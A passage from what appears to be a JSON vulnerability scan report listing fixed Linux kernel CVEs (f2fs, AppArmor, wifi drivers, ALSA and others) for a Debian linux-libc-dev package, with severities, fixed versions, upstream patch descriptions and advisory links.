"https://avd.aquasec.com/nvd/cve-2026-23235", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f791314a78a2a0dda52874988180c995310e8fc837b9a303300646c45b34d28", "Title": "kernel: f2fs: fix out-of-bounds access in sysfs attribute read/write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix out-of-bounds access in sysfs attribute read/write\n\nSome f2fs sysfs attributes suffer from out-of-bounds memory access and\nincorrect handling of integer values whose size is not 4 bytes.\n\nFor example:\nvm:~# echo 65537 \u003e /sys/fs/f2fs/vde/carve_out\nvm:~# cat /sys/fs/f2fs/vde/carve_out\n65537\nvm:~# echo 4294967297 \u003e /sys/fs/f2fs/vde/atgc_age_threshold\nvm:~# cat /sys/fs/f2fs/vde/atgc_age_threshold\n1\n\ncarve_out maps to {struct f2fs_sb_info}-\u003ecarve_out, which is a 8-bit\ninteger. However, the sysfs interface allows setting it to a value\nlarger than 255, resulting in an out-of-range update.\n\natgc_age_threshold maps to {struct atgc_management}-\u003eage_threshold,\nwhich is a 64-bit integer, but its sysfs interface cannot correctly set\nvalues larger than UINT_MAX.\n\nThe root causes are:\n1. __sbi_store() treats all default values as unsigned int, which\nprevents updating integers larger than 4 bytes and causes out-of-bounds\nwrites for integers smaller than 4 bytes.\n\n2. f2fs_sbi_show() also assumes all default values are unsigned int,\nleading to out-of-bounds reads and incorrect access to integers larger\nthan 4 bytes.\n\nThis patch introduces {struct f2fs_attr}-\u003esize to record the actual size\nof the integer associated with each sysfs attribute. With this\ninformation, sysfs read and write operations can correctly access and\nupdate values according to their real data size, avoiding memory\ncorruption and truncation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23235", "https://git.kernel.org/linus/98ea0039dbfdd00e5cc1b9a8afa40434476c0955%20%287.0-rc1%29", "https://git.kernel.org/stable/c/3a905e183c047577b154f08a78ac3039e9454703", "https://git.kernel.org/stable/c/438a405fbad6882df0e34b3e1a16839a71f04240", "https://git.kernel.org/stable/c/4ef30b9f1641c9e877792df6b049f1cf507d002d", "https://git.kernel.org/stable/c/6a6c07a9b49e43f0df42d7118fc76aa555c73d98", "https://git.kernel.org/stable/c/98ea0039dbfdd00e5cc1b9a8afa40434476c0955", "https://git.kernel.org/stable/c/d4a594dd952df123cbdcdee9b9640d9d55e4a954", "https://git.kernel.org/stable/c/e85a99db9ab85dfc30d93b0ca0e9156f3127f55a", "https://git.kernel.org/stable/c/eebd72cff518ac87e660aefb8a41224bd88c32ce", "https://linux.oracle.com/cve/CVE-2026-23235.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2026030440-CVE-2026-23235-3b8d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23235", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23235" ], "PublishedDate": "2026-03-04T15:16:13.977Z", "LastModifiedDate": "2026-06-17T10:21:09.44Z" }, { "VulnerabilityID": "CVE-2026-23245", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23245", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:44c1a1fe9d1a0233f4a21a45e081b560bb2ad1cd7c086a8d787665321a070446", "Title": "kernel: Linux kernel: Race condition in net/sched: act_gate can lead to privilege escalation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_gate: snapshot parameters with RCU on replace\n\nThe gate action can be replaced while the hrtimer callback or dump path is\nwalking the schedule list.\n\nConvert the parameters to an RCU-protected snapshot and swap updates under\ntcf_lock, freeing the previous snapshot via call_rcu(). When REPLACE omits\nthe entry list, preserve the existing schedule so the effective state is\nunchanged.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23245", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/62413a9c3cb183afb9bb6e94dd68caf4e4145f4c%20%287.0-rc3%29", "https://git.kernel.org/stable/c/035d0d09d5ab3ed3e93d18cde2b562a6719eea23", "https://git.kernel.org/stable/c/04d75529dc0f9be78786162ebab7424af4644df2", "https://git.kernel.org/stable/c/58b162e318d0243ad2d7d92456c0873f2494c351", "https://git.kernel.org/stable/c/62413a9c3cb183afb9bb6e94dd68caf4e4145f4c", "https://git.kernel.org/stable/c/8b1251bbf0f10ac745ed74bad4d3b433caa1eeae", "https://git.kernel.org/stable/c/dfc314d7c767e350f78a46a8f8b134f80e8ad432", "https://git.kernel.org/stable/c/fc98fd8d214693be91253d9a88cdf8e5e143d124", "https://linux.oracle.com/cve/CVE-2026-23245.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026031817-CVE-2026-23245-ac26@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23245", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23245" ], "PublishedDate": "2026-03-18T11:16:16.437Z", "LastModifiedDate": "2026-10-15T02:18:44.58Z" }, { "VulnerabilityID": "CVE-2026-23262", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23262", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9d3ccd80a9414917910fde64803db2a574261667615179b336ae3cc87101b031", "Title": "kernel: gve: Fix stats report corruption on queue count change", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngve: Fix stats report corruption on queue count change\n\nThe driver and the NIC share a region in memory for stats reporting.\nThe NIC calculates its offset into this region based on the total size\nof the stats region and the size of the NIC's stats.\n\nWhen the number of queues is changed, the driver's stats region is\nresized. If the queue count is increased, the NIC can write past\nthe end of the allocated stats region, causing memory corruption.\nIf the queue count is decreased, there is a gap between the driver\nand NIC stats, leading to incorrect stats reporting.\n\nThis change fixes the issue by allocating stats region with maximum\nsize, and the offset calculation for NIC stats is changed to match\nwith the calculation of the NIC.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23262", "https://git.kernel.org/linus/7b9ebcce0296e104a0d82a6b09d68564806158ff%20%286.19%29", "https://git.kernel.org/stable/c/11f8311f69e4c361717371b4901ff92daeb76e9c", "https://git.kernel.org/stable/c/7b9ebcce0296e104a0d82a6b09d68564806158ff", "https://git.kernel.org/stable/c/837c662f47dac43efa1aef2dd433c6b4b4c073af", "https://git.kernel.org/stable/c/9d93332397405b62a3300b22d04ac65d990b91ff", "https://git.kernel.org/stable/c/9fa0a755db3e1945fe00f73fe27d85ef6c8818b7", "https://git.kernel.org/stable/c/df54838ab61826ecc1a562ffa5e280c3ab7289a7", "https://git.kernel.org/stable/c/f432f7613c220db32c2c6942420daf7b3f2e7d7e", "https://linux.oracle.com/cve/CVE-2026-23262.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026031820-CVE-2026-23262-a421@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23262", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2026-23262" ], "PublishedDate": "2026-03-18T18:16:24.77Z", "LastModifiedDate": "2026-11-05T22:18:10.48Z" }, { "VulnerabilityID": "CVE-2026-23268", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23268", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c7157c3c025e254a946c6337d383110d8ce45276765e2760e72bc11adde311f", "Title": "kernel: AppArmor: Local privilege escalation and denial of service via confused deputy attack", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix unprivileged local user can do privileged policy management\n\nAn unprivileged local user can load, replace, and remove profiles by\nopening the apparmorfs interfaces, via a confused deputy attack, by\npassing the opened fd to a privileged process, and getting the\nprivileged process to write to the interface.\n\nThis does require a privileged target that can be manipulated to do\nthe write for the unprivileged process, but once such access is\nachieved full policy management is possible and all the possible\nimplications that implies: removing confinement, DoS of system or\ntarget applications by denying all execution, by-passing the\nunprivileged user namespace restriction, to exploiting kernel bugs for\na local privilege escalation.\n\nThe policy management interface can not have its permissions simply\nchanged from 0666 to 0600 because non-root processes need to be able\nto load policy to different policy namespaces.\n\nInstead ensure the task writing the interface has privileges that\nare a subset of the task that opened the interface. This is already\ndone via policy for confined processes, but unconfined can delegate\naccess to the opened fd, by-passing the usual policy check.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23268", "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt", "https://git.kernel.org/stable/c/0fc63dd9170643d15c25681fca792539e23f4640", "https://git.kernel.org/stable/c/17debf5586020790b5717f96e5e6a3ca5bb961ab", "https://git.kernel.org/stable/c/33ee909702e047c94aaf41d4eea35626d509802c", "https://git.kernel.org/stable/c/4cafce4d6d0a66ec27e3af5637c11901d60189fa", "https://git.kernel.org/stable/c/6601e13e82841879406bf9f369032656f441a425", "https://git.kernel.org/stable/c/a407a078cd41b5261b99d822af784bd9f136eb4d", "https://git.kernel.org/stable/c/b60b3f7a35c46b2e0ca934f9c988b8fca06d76c6", "https://git.kernel.org/stable/c/b6a94eeca9c6c8f7c55ad44c62c98324f51ec596", "https://lore.kernel.org/linux-cve-announce/2026031846-CVE-2026-23268-6be3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23268", "https://ubuntu.com/blog/apparmor-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8098-10", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8201-1", "https://ubuntu.com/security/notices/USN-8224-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8266-1", "https://ubuntu.com/security/notices/USN-8267-1", "https://ubuntu.com/security/vulnerabilities/crackarmor", "https://www.cve.org/CVERecord?id=CVE-2026-23268", "https://www.qualys.com/2026/03/10/crack-armor.txt" ], "PublishedDate": "2026-03-18T18:16:25.753Z", "LastModifiedDate": "2026-06-17T10:21:13.277Z" }, { "VulnerabilityID": "CVE-2026-23269", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23269", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cbd1adf1c89be267919c57b153aef1f125ce68ddf872df8861ac4b88e661f865", "Title": "kernel: Linux kernel: AppArmor out-of-bounds read via crafted policy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: validate DFA start states are in bounds in unpack_pdb\n\nStart states are read from untrusted data and used as indexes into the\nDFA state tables. The aa_dfa_next() function call in unpack_pdb() will\naccess dfa-\u003etables[YYTD_ID_BASE][start], and if the start state exceeds\nthe number of states in the DFA, this results in an out-of-bound read.\n\n==================================================================\n BUG: KASAN: slab-out-of-bounds in aa_dfa_next+0x2a1/0x360\n Read of size 4 at addr ffff88811956fb90 by task su/1097\n ...\n\nReject policies with out-of-bounds start states during unpacking\nto prevent the issue.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23269", "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt", "https://git.kernel.org/stable/c/07cf6320f40ea2ccfad63728cff34ecb309d03da", "https://git.kernel.org/stable/c/0baadb0eece2c4d939db10d3c323b4652ac79a58", "https://git.kernel.org/stable/c/15c3eb8916e7db01cb246d04a1fe6f0fdc065b0c", "https://git.kernel.org/stable/c/3bb7db43e32190c973d4019037cedb7895920184", "https://git.kernel.org/stable/c/5443c027ec16afa55b1b8a3e7a1ab2ea3c77767a", "https://git.kernel.org/stable/c/5487871b2b56c19d26936ed6fdc62652b30941df", "https://git.kernel.org/stable/c/9063d7e2615f4a7ab321de6b520e23d370e58816", "https://git.kernel.org/stable/c/f43eea8ae0102ea198da211ef7f5ce83725ecf19", "https://lore.kernel.org/linux-cve-announce/2026031846-CVE-2026-23269-2bf7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23269", "https://ubuntu.com/blog/apparmor-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8098-10", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8201-1", "https://ubuntu.com/security/notices/USN-8224-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8266-1", "https://ubuntu.com/security/notices/USN-8267-1", "https://ubuntu.com/security/vulnerabilities/crackarmor", "https://www.cve.org/CVERecord?id=CVE-2026-23269", "https://www.qualys.com/2026/03/10/crack-armor.txt" ], "PublishedDate": "2026-03-18T18:16:25.907Z", "LastModifiedDate": "2026-06-17T10:21:13.413Z" }, { "VulnerabilityID": "CVE-2026-23281", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23281", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2eef9284d136c703498adf35f09c81edece1ac2948527521412032b7bb27b5cd", "Title": "kernel: wifi: libertas: fix use-after-free in lbs_free_adapter()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: libertas: fix use-after-free in lbs_free_adapter()\n\nThe lbs_free_adapter() function uses timer_delete() (non-synchronous)\nfor both command_timer and tx_lockup_timer before the structure is\nfreed. This is incorrect because timer_delete() does not wait for\nany running timer callback to complete.\n\nIf a timer callback is executing when lbs_free_adapter() is called,\nthe callback will access freed memory since lbs_cfg_free() frees the\ncontaining structure immediately after lbs_free_adapter() returns.\n\nBoth timer callbacks (lbs_cmd_timeout_handler and lbs_tx_lockup_handler)\naccess priv-\u003edriver_lock, priv-\u003ecur_cmd, priv-\u003edev, and other fields,\nwhich would all be use-after-free violations.\n\nUse timer_delete_sync() instead to ensure any running timer callback\nhas completed before returning.\n\nThis bug was introduced in commit 8f641d93c38a (\"libertas: detect TX\nlockups and reset hardware\") where del_timer() was used instead of\ndel_timer_sync() in the cleanup path. The command_timer has had the\nsame issue since the driver was first written.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23281", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/03cc8f90d0537fcd4985c3319b4fafbf2e3fb1f0%20%287.0-rc2%29", "https://git.kernel.org/stable/c/03cc8f90d0537fcd4985c3319b4fafbf2e3fb1f0", "https://git.kernel.org/stable/c/09f3c30ab3b1371eaf9676a1b8add57bca763083", "https://git.kernel.org/stable/c/3c5c818c78b03a1725f3dcd566865c77b48dd3a6", "https://git.kernel.org/stable/c/3f9dec4a6d95d7f1f5e9e9dfdfa173c053bba8dc", "https://git.kernel.org/stable/c/a9f55b14486426d907459bced5825a25063bd922", "https://git.kernel.org/stable/c/b15e0fa7adb4de3a03aee9e6fc4d83e5cf0a65e4", "https://git.kernel.org/stable/c/d0155fe68f31b339961cf2d4f92937d57e9384e6", "https://git.kernel.org/stable/c/ed7d30f90b77f73a47498686ede83f622b7e4f0d", "https://linux.oracle.com/cve/CVE-2026-23281.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032523-CVE-2026-23281-2e62@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23281", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23281" ], "PublishedDate": "2026-03-25T11:16:22.657Z", "LastModifiedDate": "2026-10-15T02:18:46.773Z" }, { "VulnerabilityID": "CVE-2026-23315", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e17a913b840b2c0ef59e4ef0e9531bad86140c04f800c7f402d98325d286df41", "Title": "kernel: wifi: mt76: Fix possible oob access in mt76_connac2_mac_write_txwi_80211()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: Fix possible oob access in mt76_connac2_mac_write_txwi_80211()\n\nCheck frame length before accessing the mgmt fields in\nmt76_connac2_mac_write_txwi_80211 in order to avoid a possible oob\naccess.\n\n[fix check to also cover mgmt-\u003eu.action.u.addba_req.capab,\ncorrect Fixes tag]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23315", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/4e10a730d1b511ff49723371ed6d694dd1b2c785%20%287.0-rc3%29", "https://git.kernel.org/stable/c/0fb3b94a9431a3800717e5c3b6fa2e1045a15029", "https://git.kernel.org/stable/c/4e10a730d1b511ff49723371ed6d694dd1b2c785", "https://git.kernel.org/stable/c/7ae7b093b7dba9548a3bc4766b9364b97db4732d", "https://git.kernel.org/stable/c/7b692dff8df0ba5feb8df00f27d906d6eb1fe627", "https://git.kernel.org/stable/c/84419556359bc96d3fe1623d47a64c86542566cc", "https://git.kernel.org/stable/c/9612d91f617231e03c49cb9b0c02f975a3b4f51f", "https://linux.oracle.com/cve/CVE-2026-23315.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032529-CVE-2026-23315-9ac1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23315", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23315" ], "PublishedDate": "2026-03-25T11:16:27.897Z", "LastModifiedDate": "2026-11-05T22:18:14.52Z" }, { "VulnerabilityID": "CVE-2026-23318", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23318", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f75ed1887e15521b4d0666a28a4b57ca76de174e863fb180e4d5ca112bfd283", "Title": "kernel: ALSA: usb-audio: Use correct version for UAC3 header validation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Use correct version for UAC3 header validation\n\nThe entry of the validators table for UAC3 AC header descriptor is\ndefined with the wrong protocol version UAC_VERSION_2, while it should\nhave been UAC_VERSION_3. This results in the validator never matching\nfor actual UAC3 devices (protocol == UAC_VERSION_3), causing their\nheader descriptors to bypass validation entirely. A malicious USB\ndevice presenting a truncated UAC3 header could exploit this to cause\nout-of-bounds reads when the driver later accesses unvalidated\ndescriptor fields.\n\nThe bug was introduced in the same commit as the recently fixed UAC3\nfeature unit sub-type typo, and appears to be from the same copy-paste\nerror when the UAC3 section was created from the UAC2 